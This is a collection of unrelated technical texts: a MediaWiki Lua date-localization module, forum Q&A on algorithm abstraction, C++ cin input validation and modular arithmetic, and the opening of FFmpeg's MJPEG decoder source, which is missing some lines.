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Модуль:DateI18n
Матеріал з Релігія в огні
Документацію для цього модуля можна створити у Модуль:DateI18n/документація
--[[
__ __ _ _ ____ _ ___ _ ___
| \/ | ___ __| |_ _| | ___ _| _ \ __ _| |_ ___|_ _/ |( _ ) _ __
| |\/| |/ _ \ / _` | | | | |/ _ (_) | | |/ _` | __/ _ \| || |/ _ \| '_ \
| | | | (_) | (_| | |_| | | __/_| |_| | (_| | || __/| || | (_) | | | |
|_| |_|\___/ \__,_|\__,_|_|\___(_)____/ \__,_|\__\___|___|_|\___/|_| |_|
This module is intended for processing of date strings.
Please do not modify this code without applying the changes first at Module:Date/sandbox and testing
at Module:Date/sandbox/testcases and Module talk:Date/sandbox/testcases.
Authors and maintainers:
* User:Parent5446 - original version of the function mimicking template:ISOdate
* User:Jarekt - original version of the functions mimicking template:Date
]]
-- =======================================
-- === Dependencies ======================
-- =======================================
require('strict')
-- =======================================
-- === Local Functions ===================
-- =======================================
------------------------------------------------------------------------------
--[[ (copied from Module:Core)
Function allowing for consistent treatment of boolean-like wikitext input.
Inputs:
1) val - value to be evaluated, outputs as a function of values:
true : true (boolean), 1 (number), or strings: "yes", "y", "true", "1"
false : false (boolean), 0 (number), or strings: "no", "n", "false", "0"
2) default - value to return otherwise
See Also: It works similarly to Module:Yesno
]]
local function yesno(val, default)
if type(val) == 'boolean' then
return val
elseif type(val) == 'number' then
val = tostring(val)
end
if type(val) == 'string' then
local LUT = {
yes=true , y=true , ['true'] =true , t=true , ['1']=true , on =true,
no =false, n=false, ['false']=false, f=false, ['0']=false, off=false }
val = LUT[mw.ustring.lower(val)] -- put in lower case
if (val~=nil) then
return val
end
end
return default
end
---------------------------------------------------------------------------------------
-- trim leading zeros in years prior to year 1000
-- INPUT:
-- * datestr - translated date string
-- * lang - language of translation
-- OUTPUT:
-- * datestr - updated date string
local function trimYear(datestr, year, lang)
local yearStr0, yearStr1, yearStr2, zeroStr
yearStr0 = string.format('%04i', year ) -- 4 digit year in standard form "0123"
yearStr1 = mw.language.new(lang):formatDate( 'Y', yearStr0) -- same as calling {{#time}} parser function
--yearStr1 = mw.getCurrentFrame():callParserFunction( "#time", { 'Y', yearStr0, lang } ) -- translate to a language
if yearStr0==yearStr1 then -- most of languages use standard form of year
yearStr2 = tostring(year)
else -- some languages use different characters for numbers
yearStr2 = yearStr1
zeroStr = mw.ustring.sub(yearStr1,1,1) -- get "0" in whatever language
for i=1,3 do -- trim leading zeros
if mw.ustring.sub(yearStr2,1,1)==zeroStr then
yearStr2 = mw.ustring.sub(yearStr2, 2, 5-i)
else
break
end
end
end
return string.gsub(datestr, yearStr1, yearStr2 ) -- in datestr replace long year with trimmed one
end
---------------------------------------------------------------------------------------
-- Look up proper format string to be passed to {{#time}} parser function
-- INPUTS:
-- * datecode: YMDhms, YMDhm, YMD, YM, Y, MDhms, MDhm, MD, or M
-- * day : Number between 1 and 31 (not needed for most languages)
-- * lang : language
-- OUTPUT:
-- * dFormat : input to {{#time}} function
local function getDateFormat(datecode, day, lang)
local function parseFormat(dFormat, day)
if dFormat:find('default') and #dFormat>10 then
-- Special (and messy) case of dFormat code depending on a day number, where data is a
-- JSON-encoded table {”default”:”*”,”dDD”:”*”} including fields for specific 2-digit days.
-- Change curly double quotes (possibly used for easier editing in tabular data) in dFormat
-- to straight ASCII double quotes (required for parsing of this JSON-encoded table).
local D = mw.text.jsonDecode(mw.ustring.gsub(dFormat, '[„“‟”]', '"')) --com = mw.dumpObject(D)
-- If the desired day is not in that JSON table, then use its "default" case.
dFormat = D[string.format('d%02i', day)] or D.default
-- Change ASCII single quotes to ASCII double quotes used for {{#time}} marking.
-- Apostrophes needed in plain-text must not use ASCII single quotes but curly apostrophe
-- e.g. { ‟default”: ‟j”, ‟d01”: ‟j’'o'” }, not { ‟default”: ‟j”, ‟d01”: ‟j''o'” }.
end
dFormat = dFormat:gsub("'", '"')
return dFormat
end
local T = {}
local tab = mw.ext.data.get('DateI18n.tab', lang)
for _, row in pairs(tab.data) do -- convert the output into a dictionary table
local id, _, msg = unpack(row)
T[id] = msg
end
-- Compatibility of legacy data using 'HMS' or 'HM', where 'M' is ambiguous
T.YMDhms = T.YMDhms or T.YMDHMS
T.YMDhm = T.YMDhm or T.YMDHM
datecode = datecode == 'YMDHMS' and 'YMDhms' or datecode == 'YMDHM' and 'YMDhm' or datecode
local dFormat = T[datecode]
if dFormat == 'default' and (datecode == 'YMDhms' or datecode == 'YMDhm') then
-- For most languages adding hour:minute:second is done by adding ", HH:ii:ss to the
-- day precission date, those languages are skipped in DateI18n.tab and default to
-- English which stores word "default"
dFormat = parseFormat(T['YMD'], day).. ', H:i'
if datecode == 'YMDhms' then
dFormat = dFormat .. ':s'
end
else
dFormat = parseFormat(dFormat, day)
end
return dFormat
end
---------------------------------------------------------------------------------------
-- Look up proper format string to be passed to {{#time}} parser function
-- INPUTS:
-- * month : month number
-- * case : gramatic case abbriviation, like "ins", "loc"
-- * lang : language
-- OUTPUT:
-- * dFormat : input to {{#time}} function
local function MonthCase(month, case, lang)
if month == nil or case == nil then
return nil
end
local T = {{},{},{},{},{},{},{},{},{},{},{},{}}
local tab = mw.ext.data.get('I18n/MonthCases.tab', lang)
for _, row in pairs(tab.data) do
local mth, cs, msg = unpack(row)
T[mth][cs] = msg
end
return T[month][case]
end
-- ==================================================
-- === External functions ===========================
-- ==================================================
local p = {}
-- ===========================================================================
-- === Functions accesible from the outside to allow unit-testing
-- === Please do not use directly as they could change in the future
-- ===========================================================================
---------------------------------------------------------------------------------------
-- Single string replacement that ignores part of the string in "..."
function p.strReplace(String, old, new)
if String:find('"') then
local T={}
for i, str in ipairs(mw.text.split( String, '"', true )) do
if i%2==1 then
str = str:gsub(old, new, 1)
end
table.insert(T, str)
end
return table.concat(T,'"')
else
return String:gsub(old, new, 1)
end
end
---------------------------------------------------------------------------------------
-- process datevec
-- INPUT:
-- * datevec - Array of {year,month,day,hour,minute,second, tzhour, tzmin} containing broken
-- down date-time component strings or numbers
-- OUTPUT:
-- * datenum - same array but holding only numbers or nuls
function p.clean_datevec(datevec)
-- create datecode based on which variables are provided and check for out-of-bound values
-- check special case of month provided as a name
local month = datevec[2]
if type(month) == 'string' and month ~= '' and not tonumber(month) then
-- When the month is not a number, check if it's a month name in the project's language.
datevec[2] = mw.getContentLanguage():formatDate('n', month)
end
-- check bounds
local maxval = { 1/0, 12, 31, 23, 59, 59, 23, 59 } -- max values (or 1/0=+inf) for year, month, day, hour, minute, second, tzhour, tzmin
local minval = { -1/0, 01, 01, 00, 00, 00, -23, 00 } -- min values (or -1/0=-inf) for year, month, ...
local datenum = {} -- date-time encoded as a vector = [year, month, ... , second, tzhour, tzmin]
for i = 1, 8 do
local val = tonumber(datevec[i])
if val and val >= minval[i] and val <= maxval[i] then -- These tests work with infinite min/max values.
datenum[i] = val
end
end
-- leap second
if tonumber(datevec[6]) == 60 then -- leap second '60' is valid only at end of 23:59 UTC, on 30 June or 31 December of specific years
-- datenum[6] = 60
local MDhm = table.concat({unpack(datenum,2,5)}, ',')
if (MDhm == table.concat({6, 30, 23, 59}, ',')) or (MDhm == table.concat({12, 31, 23, 59}, ',')) then
datenum[6] = 60
end
end
return datenum
end
---------------------------------------------------------------------------------------
-- process datevec
-- INPUT:
-- * datenum - Array of {year,month,day,hour,minute,second, tzhour, tzmin} as numbers or nuls
-- OUTPUT:
-- * timeStamp - date string in the format taken by mw.language:formatDate lua function and {{#time}} parser function
-- https://www.mediawiki.org/wiki/Extension:Scribunto/Lua_reference_manual#mw.language:formatDate
-- https://www.mediawiki.org/wiki/Help:Extension:ParserFunctions#.23time
-- * datecode - a code specifying content of the array where Y' is year, 'M' is month,
-- 'D' is day, 'h' is hour, 'm' minute, 's' is second.
-- Output has to be one of YMDhms, YMDhm, YMD, YM, Y, MDhms, MDhm, MD, M.
function p.getTimestamp(datenum)
-- create datecode based on datenum
local codes = { 'Y', 'M', 'D', 'h', 'm', 's'}
local datecode = '' -- a string signifying which combination of variables was provided
for i, c in ipairs(codes) do
datecode = datecode .. (datenum[i] and c or '') -- if datenum[i] than append codes[i] to datecode
end
-- create timestamp string (for example 2000-02-20 02:20:20) based on which variables were provided
local timeStamp
-- date starting by a year
if datecode == 'YMDhms' then
timeStamp = string.format('%04i-%02i-%02i %02i:%02i:%02i', datenum[1], datenum[2], datenum[3], datenum[4], datenum[5], datenum[6] )
elseif datecode == 'YMDhm' then
timeStamp = string.format('%04i-%02i-%02i %02i:%02i', datenum[1], datenum[2], datenum[3], datenum[4], datenum[5] )
elseif datecode:sub(1,3)=='YMD' then
timeStamp = string.format('%04i-%02i-%02i', datenum[1], datenum[2], datenum[3] )
datecode = 'YMD' -- 'YMDhms', 'YMDhm' and 'YMD' are the only supported format starting with 'YMD'; all others will be converted to 'YMD'.
elseif datecode:sub(1,2) == 'YM' then
timeStamp = string.format('%04i-%02i', datenum[1], datenum[2] )
datecode = 'YM'
elseif datecode:sub(1,1)=='Y' then
timeStamp = string.format('%04i', datenum[1] )
datecode = 'Y'
-- date starting by a month (the implied year is 2000)
elseif datecode== 'MDhms' then
timeStamp = string.format('%04i-%02i-%02i %02i:%02i:%02i', 2000, datenum[2], datenum[3], datenum[4], datenum[5], datenum[6] )
elseif datecode == 'MDhm' then
timeStamp = string.format('%04i-%02i-%02i %02i:%02i', 2000, datenum[2], datenum[3], datenum[4], datenum[5] )
elseif datecode:sub(1,2) == 'MD' then
timeStamp = string.format('%04i-%02i-%02i', 2000, datenum[2], datenum[3] )
datecode = 'MD' -- 'MDhms', 'MDhm' and 'MD' are the only supported format starting with 'MD'; all others will be converted to 'MD'
elseif datecode:sub(1,1) == 'M' then -- Ambiguous: could mean minutes, but here means month (when parsed as a name/abbrev, not as a number).
timeStamp = string.format('%04i-%02i-%02i', 2000, datenum[2], 1 )
datecode = 'M'
-- other possible but unrecognized formats (e.g. 'DHis', 'DHi', 'D', 'His', 'Hi');
-- note that 'Dh', 'D', 'h', 's' may eventually work, but not 'm' for minute only, which is ambiguous with 'M' for month only.
else
timeStamp = nil -- format not supported
end
return timeStamp, datecode
end
-- ===========================================================================
-- === Version of the function to be called from other LUA codes
-- ===========================================================================
--[[ ========================================================================================
Date
This function is the core part of the ISOdate template.
Usage:
local Date = require('Module:DateI18n')._Date
local dateStr = Date({2020, 12, 30, 12, 20, 11}, lang)
Parameters:
* {year,month,day,hour,minute,second, tzhour, tzmin}: broken down date-time component strings or numbers
tzhour, tzmin are timezone offsets from UTC, hours and minutes
* lang: The language to display it in
* case: Language format (genitive, etc.) for some languages
* class: CSS class for the <time> node, use "" for no metadata at all
]]
function p._Date(datevec, lang, case, class, trim_year)
-- make sure inputs are in the right format
if not lang or not mw.language.isValidCode( lang ) then
lang = mw.getCurrentFrame():callParserFunction( "int", "lang" ) -- get user's chosen language
end
if lang == 'be-tarask' then
lang = 'be-x-old'
end
-- process datevec and extract timeStamp and datecode strings as well as numeric datenum array
local datenum = p.clean_datevec(datevec)
local year, month, day = datenum[1], datenum[2], datenum[3]
local timeStamp, datecode = p.getTimestamp(datenum)
if not timeStamp then -- something went wrong in parserDatevec
return ''
end
-- Commons [[Data:DateI18n.tab]] page stores prefered formats for diferent
-- languages and datecodes (specifying year-month-day or just year of month-day, etc)
-- Look up country specific format input to {{#time}} function
local dFormat = getDateFormat(datecode, day, lang)
-- By default the gramatical case is not specified (case=='') allowing the format to be specified
-- in [[Data:DateI18n.tab]]. You can overwrite the default grammatical case of the month by
-- specifying "case" variable. This is needed mostly by Slavic languages to create more complex
-- phrases as it is done in [[c:Module:Complex date]]
case = case or ''
if (lang=='qu' or lang=='qug') and case=='nom' then
-- Special case related to Quechua and Kichwa languages. The form in the I18n is
-- Genitive case with suffix "pi" added to month names provided by {#time}}
-- in Nominative case that "pi" should be removed
-- see https://commons.wikimedia.org/wiki/Template_talk:Date#Quechua from 2014
dFormat = dFormat:gsub('F"pi"', 'F')
elseif case == 'gen' then
dFormat = p.strReplace(dFormat, "F", "xg")
elseif case == 'nom' then
dFormat = p.strReplace(dFormat, "xg", "F")
elseif case ~= '' and month ~= nil then
-- see is page [[Data:I18n/MonthCases.tab]] on Commons have name of the month
-- in specific gramatic case in desired language. If we have it than replace
-- "F" and xg" in dFormat
local monthMsg = MonthCase(month, case, lang)
if monthMsg and monthMsg ~= '' then -- make sure it exists
dFormat = p.strReplace(dFormat, 'F', '"'..monthMsg..'"') -- replace default month with month name we already looked up
dFormat = p.strReplace(dFormat, 'xg', '"'..monthMsg..'"')
end
end
-- Translate the date using specified format.
-- See https://www.mediawiki.org/wiki/Extension:Scribunto/Lua_reference_manual#mw.language:formatDate and
-- https://www.mediawiki.org/wiki/Help:Extension:ParserFunctions##time for explanation of the format
local langObj = mw.language.new(lang)
local datestr = langObj:formatDate(dFormat, timeStamp) -- same as using {{#time}} parser function
-- Special case related to Thai solar calendar: prior to 1940 new-year was at different time of year,
-- so just year (datecode == 'Y') is ambiguous and is replaced by "YYYY or YYYY" phrase
if lang=='th' and datecode=='Y' and year<=1940 then
datestr = string.format('%04i หรือ %04i', year+542, year+543 )
end
-- If year < 1000 than either keep the date padded to the length of 4 digits or trim it.
-- Decide if the year will stay padded with zeros (for years in 0-999 range).
if year and year < 1000 then
trim_year = yesno(trim_year, trim_year or '100-999')
if type(trim_year) == 'string' then
-- If `trim_year` not a simple boolean, then it's a range of dates.
-- For example '100-999' means to pad 1-or-2-digit years to be 4-digit long, while keeping 3-digit years as is.
local YMin, YMax = trim_year:match( '(%d+)-(%d+)' )
trim_year = YMin and year >= tonumber(YMin) and year <= tonumber(YMax)
end
if trim_year then
datestr = trimYear(datestr, year, lang) -- in datestr replace long year with trimmed one
end
end
-- Append a timezone if present (after the hour and minute of the day).
if datenum[7] and (datecode:sub(1, 5) == 'YMDhm' or datecode:sub(1, 4) == 'MDhm') then
-- Use {{#time}} parser function to create timezone string, so that we use the correct character set.
local sign = (datenum[7]<0) and '−' or '+'
timeStamp = string.format("2000-01-01 %02i:%02i:00", math.abs(datenum[7]), datenum[8] or 0)
local timezone = langObj:formatDate('H:i', timeStamp) -- same as using {{#time}} parser function
datestr = string.format("%s %s%s", datestr, sign, timezone )
end
-- HTML formating of date string and tagging for microformats (only for absolute dates with a year).
if class and class ~= '' and class ~= '-' and datecode:sub(1,1) == 'Y' then
local pat = '<time class="%s" datetime="%s" lang="%s" dir="%s" style="white-space:nowrap">%s</time>'
datestr = pat:format(class, timeStamp, lang, langObj:getDir(), datestr)
end
return datestr
end
-- ===========================================================================
-- === Versions of the function to be called from template namespace
-- ===========================================================================
--[[ ========================================================================================
Date
This function is the core part of the ISOdate template.
Usage:
{{#invoke:DateI18n|Date|year=|month=|day=|hour=|minute=|second=|tzhour=|tzmin=|lang=en}}
Parameters:
* year, month, day, hour, minute, second: broken down date-time component strings
* tzhour, tzmin: timezone offset from UTC, hours and minutes
* lang: The language to display it in
* case: Language format (genitive, etc.) for some languages
* class: CSS class for the <time> node, use "" for no metadata at all
]]
function p.Date(frame)
local args = {}
for name, value in pairs( frame.args ) do
name = string.gsub( string.lower(name), ' ', '_')
args[name] = value
end
return p._Date(
{ args.year, args.month, args.day, args.hour, args.minute, args.second, args.tzhour, args.tzmin },
args.lang, -- language
args.case, -- allows to specify grammatical case for the month for languages that use them
args.class or 'dtstart', -- allows to set the html class of the time node where the date is included. This is useful for microformats.
args.trim_year or '100-999' -- by default pad one and 2 digit years to be 4 digit long, while keeping 3 digit years as is
)
end
return p
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0
I asked some questions about algorithms, and some replied they are abstract concepts, however I don't know what abstraction means for algorithms or how it applies.
For objects, I know if we remove the details of an object we have made it abstract, for example a Person is more abstract than Student
I thought maybe they mean removing details of an algorithm and just specifying it with its input and output for example A = Sort(A) is more abstract than bubble sort implementation.
Am I correct?
• 1
Based on your edit it looks like you have a new question. Ask another question (make a new post), don't just tack it onto this one. Link back to this one if appropriate. – Becuzz Feb 18 '15 at 17:54
1
Don't get afraid by words : Abstraction is the process of removing every aspect of the issue that is not useful to solve it.
-So you can concentrate on only what matters-
Abstraction is so widely used because there exist a number of 'patterns' in programming that keeps repeating in every application. Find the pattern corresponding to your issue, find the abstract solution to it, implement it and you're done.
Even better : most (?all?) coding langages provides some built-in abstract patterns, which are most easy to use. Some API also provides more advanced patterns.
Abstracting is removing, so you can reach different level of abstraction by removing more or less aspect of your issue. But if you remove too much elements, you'll say nothing about nothing (expl : A=sort(A) won't solve much issues..).
On the other hand, if you keep too much details you might not see what's relevant to solve the issue.
Balance.
Let's take the sorting issue : It's not relevant what kind of object you want to use, neither the kind of storage you are using for those objects. ( And not either the platform or the programming language you're using).
Sorting all breaks down to :
- having a collection of object in which you can iterate.
- having a way to compare two elements.
Then the purpose of the sort is to have every two successive items correctly ordered.
Now you can think bubble sort / quick sort / ... for any kind of iterable collection of comparable items.
Solve the issue once, and use it any time you encounter this issue, it doesn't matter if you are using a list, an array, a stack.... to store dates, or graphic objects, or ... : the abstract algorithm will be the same.
Javascript for instance as a built-in Collection called an Array (it is in fact a dynamic array that can be sparse), which has a sort method. The only thing you have to do to sort the array is to provide the comparison function to the sort method -Great !-.
small example :
// let's define a collection of information about travels.
var travels = [ travel1, travel2, travel3, ... ] ;
// sort the travels on their start date
// : just provide the right comparison function to the sort method.
travels.sort( function ( t1, t2 ) { return t1.startDate - t2.startDate } );
==> done !
Rq : Abstraction is used for algorithm, but also for general software design : that's what design patterns are about.
Just one small example : imagine you have one object very costly to create that you might not even use, what can you do ?
(see that this question is very 'abstract' there's no useless details about the object type, the resource being used, ..., there's only the problem's skeleton).
Answer is -->>> use the lazy initialization pattern : do not create the object until it's actually asked by your application.
class SomeClass {
public get someHeavyObject {
// create object if it was not created already
if (_someHeavyObject == null) _someHeavyObject = new SomeHeavyObject();
// return the object
return _someHeavyObject;
}
private _someHeavyObject = null;
}
(more on design patterns here http://en.wikipedia.org/wiki/Software_design_pattern )
Another great advantage of abstraction is that when you're seeking help, be it on forums or with a mate, not everyone will want to hear/read the 30 minutes description of what you're building.
If you go straight to the point by abstracting the issue, you greatly raise your chances to be understood and to get your reply.
You will win a great deal of time by reusing the right abstract data types / algorithm / patterns, so do not hesitate to dig into it.
| improve this answer | |
3
No, you're not correct about what that person meant; your reference to objects is a rather technical detail of OO languages (which concerns abstractions the code is modelling), and talking about an algorithm only in terms of input and output is a different level of abstraction, one step too high (but at the same time too low because you seem to think about it again in terms of a programming language).
Algorithms are abstract concepts in the sense that the definition of a specific algorithm (let's say Bubblesort) is independent of how it's implemented. You can implement Bubblesort in any programming language you like, Haskell, Java, C, assembler, or even directly in hardware. You can even do it manually. But it will always be Bubblesort, it will always do things in the same way, and always have the characteristics (O(n^2) worst case running time, O(n) on presorted data) of Bubblesort.
| improve this answer | |
• Thank you, it was my another guess about abstraction in algorithms. but there are other aspects too, for example should we specify the type of items which are sorted in an abstract algorithm!? or just call them comparable objects? – Ahmad Feb 18 '15 at 11:27
• Moreover, you said specifying an algorithm in term of input and output could be a different level of abstraction, when or where (in which field) that type of abstraction is discussed?? OO? – Ahmad Feb 18 '15 at 11:28
• @Ahmad "comparable objects" is exactly the kind of thing that should be part of an abstract description of an algorithm. There are in fact sorting algoritms (e.g. radix sort) where that is not sufficient. Abstracting things in terms of input and output is part of software engineering or (more specifically) requirements engineering. – Michael Borgwardt Feb 18 '15 at 12:00
0
In general an abstraction is a simplification or a simplified representation of something, so to produce an abstraction of an algorithm would be state its form in the simplest way - for a sort this would be state it without the details of how the comparisons or the substitutions worked, for instance.
| improve this answer | |
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This may at first seem like an odd question, but when a cin request is made, if it receives the wrong type it still continues but the status of cin changes.
How do I loop until cin is OK, e.g. when I ask for a number it "accepts" a string if no extra code is given e.g. a loop?
Finally when I use cin multiple times in a row it does the first cin as expected but then skips the rest; how do I fix this? If you need more information just ask in a comment.
// Example
cout << "Enter a number: ";
cin >> num; // A string is given
cout << "Enter another number: ";
cin >> num2;
In the example above the string would be kinda accepted and the second cin would most likely skip for some reason. I had a while ago find the answer to this question but I lost the snippet of the loop I used so :/
share|improve this question
3
A small snippet of code that almost does what you want would be helpful. – larsmans Apr 14 '11 at 21:52
1 Answer 1
up vote 2 down vote accepted
example:
int value;
while(!(cin >> value))
{
cin.clear();
cin.ignore(); // eat one character
}
while(!(cin >> value))
{
cin.clear();
cin.ignore(10000,'\n'); // eat the rest of the line
}
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+1, Also cplusplus.com/reference/iostream/ios/operatornot – Dacav Oct 13 '11 at 11:52
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(The integers modulo 3) permit unrestricted subtraction (so that, for example, $1-2=2$), and they permit division restricted only by the exclusion of the denominator 0 (so that, for example, $\frac{1}{2} = 2$).
Could someone please help me understand these operations on this finite field? I had a couple of thoughts about subtraction: if the numbers are arranged from left to right in increasing order and I "moved $2$ places to the left for subraction" I would get $2= 1-2$ (as confirmed in the book). This would imply that $0-2 =1$, which seems correct to me since $1+2 =3$... But I wasn't sure if this is the proper way to think about this... Is there a better way? With the division, I don't know: why is $\frac{1}{2} =2$?
Thank you for your help.
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1
The division is "best" understood via its definition. The number $x=1/2$ is defined as the solution to $2x=1$. (in modular arithmetic this equation doesn't necessarily need to have a unique solution, but for mod $p$ with $p$ prime it does). – Fabian Apr 17 '11 at 7:28
By the way, it is usually best to think about the numbers as being arranged on a circle. – Fabian Apr 17 '11 at 7:29
@Fabian: thanks for the helpful tips – ghshtalt Apr 17 '11 at 10:18
up vote 5 down vote accepted
The integers $\mathbb Z$ are a ring: That means it has addition, subtraction, multiplication and some axioms about them.
By $3 \mathbb Z$ I denote $\{ 3x \in \mathbb Z \mid x \in \mathbb Z \} = \{\cdots,-6,-3,0,3,6,\cdots\}$. The idea of modular arithmetic (mod 3) is that -6 = -3 = 0 = 3 = 6 = ... and ... = -5 = -2 = 1 = 4 = 6 = ... and so on.
The first step now is to make an equivalence relation $\sim$ that expresses this (i.e. $0\sim 3$, $2 \sim 8$, $1 \not \sim 5$) and this is quite easy! Define $x \sim y :\!\!\iff x + 3\mathbb Z = y + 3\mathbb Z$. Since all we have done is applied the function $\varphi(x) = x + 3\mathbb Z$ to both sides this is automatically an equivalence relation.
We can see that it is the one we want as well:
• $0\sim 3 \iff 0 + 3\mathbb Z = 3 + 3\mathbb Z \iff \{\cdots,-6,-3,0,3,6,\cdots\} = \{\cdots,-3,0,3,6,9,\cdots\} \iff \text{true}$.
• $2\sim 8 \iff 2 + 3\mathbb Z = 8 + 3\mathbb Z \iff \{\cdots,-4,-1,2,5,8,\cdots\} = \{\cdots,2,5,8,11,14,\cdots\} \iff \text{true}$.
• $1\not\sim 5 \iff 1 + 3\mathbb Z \not = 5 + 3\mathbb Z \iff \{\cdots,-5,-2,1,4,7,\cdots\} \not = \{\cdots,-1,2,5,8,14,\cdots\} \iff \text{true}$.
We can now define arithmetic operations on the image $\varphi(\mathbb Z) = \mathbb Z / 3 \mathbb Z$.
• $\varphi(a)+\varphi(b):=\varphi(a+b)$
• $-\varphi(a):=\varphi(-a)$
• $\varphi(a)\cdot \varphi(b):=\varphi(a\cdot b)$
To see that e.g. + is actually a function it is necessary to prove that it "respects the equivalence relation" in the sense that if $\varphi(x) = \varphi(x')$ and $\varphi(y) = \varphi(y')$ then $\varphi(x) + \varphi(y) = \varphi(x') + \varphi(y')$. Here is a proof:
• $(x + 3 \mathbb Z) + (y + 3 \mathbb Z) = \{\cdots,x-6,x-3,x,x+3,x+6,\cdots\}+ \{\cdots,y-6,y-3,y,y+3,y+6,\cdots\} = \{x+y+i+j\in \mathbb Z | i \in 3 \mathbb Z, j \in 3 \mathbb Z\} = (x + y) + 3 \mathbb Z$.
The same type of calculation proves that negation and multiplication are respectful functions.
Since the function is respectful it respects each of the ring axioms, this proves that $\mathbb Z/3 \mathbb Z$ is a ring and $\varphi$ is a ring homomorphism. It should be clear that nothing depends on special properties of the number 3 so far and the arguments above are fully general.
The standard notation for working in this ring is not $\varphi(x) = \varphi(y)$ but $x \equiv y \pmod 3$ where $x$ is implicitly mapped from $\mathbb Z$ to $\mathbb Z / 3 \mathbb Z$ if needed.
The fact that it is furthermore a field is quite miraculous and depends the fact that 3 is a prime number. For $p$ prime every nonzero element of $\mathbb Z/p \mathbb Z$ is invertible. The proof of this depends on details from number theory rather than algebra. First the condition for a number $x$ to be invertible (in any ring) is that there exists some number $x^{-1}$ such that $x \cdot x^{-1} = 1$. In the ring of rationals $\mathbb Q$ this number is $\frac{1}{x}$ (the rationals are also a field because $1 \not = 0$ and every nonzero element is invertible).
Given $(a,b)=1$, that is, $a$,$b$ coprime there exists $x$,$y$ such that $ax + by = 1$. You can compute this by the Euclidean algorithm. In terms of modular arithmetic this tells us that given $(a,b) = 1$ then there exists $x$ such that $ax \equiv 1 \pmod b$! Of course when "b" is prime every element except 0 is coprime and thus has an inverse. Since $1 \not \equiv 0 \pmod p$ this proves that $\mathbb Z/p \mathbb Z$ is a field too.
Now we can compute $2^{-1} \pmod 3$, it must be the unique number $\varphi(x)$ such that $2x + 3y = 1$, $x = 2, y = -1$ will do so we have $2^{-1} \equiv 2 \pmod 3$.
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@quanta: thank you for the answer. I'm still digesting it, but I wanted to check if I am understanding part of the idea. If I wanted to divide on say integers modulo 5 (where there are a couple more examples) then for say $\frac{3}{4}=x$ I would first always calculate $4^{-1}$ and then multiply? And because of the gcd stuff you showed, I know that $1\equiv 4x \mod 5 \Rightarrow x = 4 \Rightarrow \frac{3}{4} = 2$? So in these cases it is about finding the inverses first? – ghshtalt Apr 17 '11 at 9:44
@quanta: ok, yeah I meant by that 3 divided by 4 in integers modulo 5 (and I realize the way I used $x$ in my above comment was nonsense). But isn't that how you would carry out division of 3 by 4 in integers modulo 5? Since $4$ is the inverse of $4$, $3*4^{-1}=2$ in integers modulo 5, no? – ghshtalt Apr 17 '11 at 9:53
In general modular arithmetic the use of fractions is a mistake but even though prime modulus gives a field there is not homomorphism from $\mathbb Q$ to $\mathbb Z/p \mathbb Z$ so every fraction is not meaningful (consider $1/2 \pmod 2$). Overall I don't think the fraction is a useful concept in modular arithmetic. – quanta Apr 17 '11 at 9:55
"3 divided by 4" or "3/4" could be used to mean $3 \cdot 4^{-1}$ or anything you like. I find it easier to avoid completely but of course just do it whatever way you like. – quanta Apr 17 '11 at 9:56
@quanta: I'm sorry if I'm just completely missing something here, but are you saying there is a problem with the way I am trying to write down/express an idea, or with the idea itself that I am trying to carry out division on the integers modulo 5? – ghshtalt Apr 17 '11 at 10:00
Do you understand multiplication in the field? If so, then division's easy; $a/b=c$ means $a=bc$. In particular, $1/2=2$ because $2\times2=1$.
If you don't understand multiplication in the field, just let me know, I'll try something else.
Oh, and if you understand addition, then you understand subtraction, because $a-b=c$ means $a=b+c$.
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Thank you for this answer – ghshtalt Apr 17 '11 at 10:19
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FFmpeg
mjpegdec.c
Go to the documentation of this file.
1 /*
2 * MJPEG decoder
3 * Copyright (c) 2000, 2001 Fabrice Bellard
4 * Copyright (c) 2003 Alex Beregszaszi
5 * Copyright (c) 2003-2004 Michael Niedermayer
6 *
7 * Support for external huffman table, various fixes (AVID workaround),
8 * aspecting, new decode_frame mechanism and apple mjpeg-b support
9 * by Alex Beregszaszi
10 *
11 * This file is part of FFmpeg.
12 *
13 * FFmpeg is free software; you can redistribute it and/or
14 * modify it under the terms of the GNU Lesser General Public
15 * License as published by the Free Software Foundation; either
16 * version 2.1 of the License, or (at your option) any later version.
17 *
18 * FFmpeg is distributed in the hope that it will be useful,
19 * but WITHOUT ANY WARRANTY; without even the implied warranty of
20 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
21 * Lesser General Public License for more details.
22 *
23 * You should have received a copy of the GNU Lesser General Public
24 * License along with FFmpeg; if not, write to the Free Software
25 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
26 */
27
28 /**
29 * @file
30 * MJPEG decoder.
31 */
32
33 #include "libavutil/display.h"
34 #include "libavutil/imgutils.h"
35 #include "libavutil/avassert.h"
36 #include "libavutil/opt.h"
37 #include "avcodec.h"
38 #include "blockdsp.h"
39 #include "copy_block.h"
40 #include "decode.h"
41 #include "hwconfig.h"
42 #include "idctdsp.h"
43 #include "internal.h"
44 #include "jpegtables.h"
45 #include "mjpeg.h"
46 #include "mjpegdec.h"
47 #include "jpeglsdec.h"
48 #include "profiles.h"
49 #include "put_bits.h"
50 #include "tiff.h"
51 #include "exif.h"
52 #include "bytestream.h"
53
54
56 {
57 static const struct {
58 int class;
59 int index;
60 const uint8_t *bits;
61 const uint8_t *values;
62 int length;
63 } ht[] = {
65 ff_mjpeg_val_dc, 12 },
67 ff_mjpeg_val_dc, 12 },
76 };
77 int i, ret;
78
79 for (i = 0; i < FF_ARRAY_ELEMS(ht); i++) {
80 ff_free_vlc(&s->vlcs[ht[i].class][ht[i].index]);
81 ret = ff_mjpeg_build_vlc(&s->vlcs[ht[i].class][ht[i].index],
82 ht[i].bits, ht[i].values,
83 ht[i].class == 1, s->avctx);
84 if (ret < 0)
85 return ret;
86
87 if (ht[i].class < 2) {
88 memcpy(s->raw_huffman_lengths[ht[i].class][ht[i].index],
89 ht[i].bits + 1, 16);
90 memcpy(s->raw_huffman_values[ht[i].class][ht[i].index],
91 ht[i].values, ht[i].length);
92 }
93 }
94
95 return 0;
96 }
97
98 static void parse_avid(MJpegDecodeContext *s, uint8_t *buf, int len)
99 {
100 s->buggy_avid = 1;
101 if (len > 14 && buf[12] == 1) /* 1 - NTSC */
102 s->interlace_polarity = 1;
103 if (len > 14 && buf[12] == 2) /* 2 - PAL */
104 s->interlace_polarity = 0;
105 if (s->avctx->debug & FF_DEBUG_PICT_INFO)
106 av_log(s->avctx, AV_LOG_INFO, "AVID: len:%d %d\n", len, len > 14 ? buf[12] : -1);
107 }
108
